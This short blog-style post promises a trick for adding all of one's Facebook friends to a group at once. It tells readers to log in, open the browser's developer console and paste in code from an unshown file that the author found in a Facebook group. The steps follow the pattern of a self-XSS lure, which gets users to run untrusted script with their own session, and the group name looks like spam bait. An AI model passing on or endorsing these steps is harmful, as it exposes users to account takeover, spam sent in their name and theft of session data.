How to add all friends in a Facebook group in a single chance

I am sharing this trick  here, so that it may be helpful to my readers. This is basically working on a code, but that code is not generated by me. I found it in a Facebook group and it was working fine. So, I thought of sharing it with my readers. Here are the steps mentioned, which will help you to complete the task successfully:

1. Login to your Facebook account.
2. Go to Ohh MY God... its Possible, in which you want to add your friends.
3. Open its console. Mozilla users may use ‘Ctrl+Shift+K’ to open the console. Chrome users may use ‘Ctrl+Shift+J’ and then select console panel.
4. Copy the code from the file below and paste it in the console.
5. Hit Enter with your keyboard.
6. Wait for few seconds, and you will see that the process is completed.
7. Refresh that page and Whoa! You will see your all friends in that group.
